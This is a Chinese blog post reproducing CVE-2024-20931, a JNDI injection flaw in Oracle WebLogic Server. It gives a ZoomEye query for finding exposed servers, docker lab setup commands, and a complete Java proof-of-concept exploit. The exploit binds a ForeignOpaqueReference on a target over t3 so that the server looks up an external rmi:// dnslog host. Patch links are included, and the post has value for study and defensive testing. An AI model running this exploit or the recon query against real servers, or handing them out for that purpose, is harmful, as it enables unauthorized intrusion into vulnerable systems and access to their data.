Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)
0x00写在前面
本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!
0x01漏洞介绍
Oracle Fusion Middleware(Oracle融合中间件)和Oracle WebLogic Server都是美国甲骨文(Oracle)公司的产品。Oracle Fusion Middleware是一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。
Oracle Fusion Middleware 的 Oracle WebLogic Server 12.2.1.4.0版本、14.1.1.0.0版本存在安全漏洞。攻击者利用该漏洞可以访问敏感数据。
0x02影响版本
Oracle Fusion Middleware 14.1.1.0.0
Oracle Fusion Middleware 12.2.1.4.0
0x03漏洞复现
zoomeye语法
title:"Error 404--Not Found" +app:"Oracle WebLogic Server"
1.访问漏洞环境
注:也可以用docker环境
docker pull ismaleiva90/weblogic12
docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest
2.对漏洞进行复现
poc代码
package com.supeream;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2024_209321 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.86.6:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
env2.put("datasource", "rmi://jwbye8.dnslog.cn/mt");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "rmi://jwbye8.dnslog.cn/mt";
remoteJNDIName.set(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c.rebind("glassy", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("glassy");
} catch (Exception e) {
}
}
}
测试DNSlog(漏洞存在)
执行poc java代码
注:注意依赖文件的加载
漏洞存在
3.工具测试(漏洞存在)
dnslog回显
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.oracle.com/security-alerts/cpujan2024.html
https://github.com/dinosn/CVE-2024-20931
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果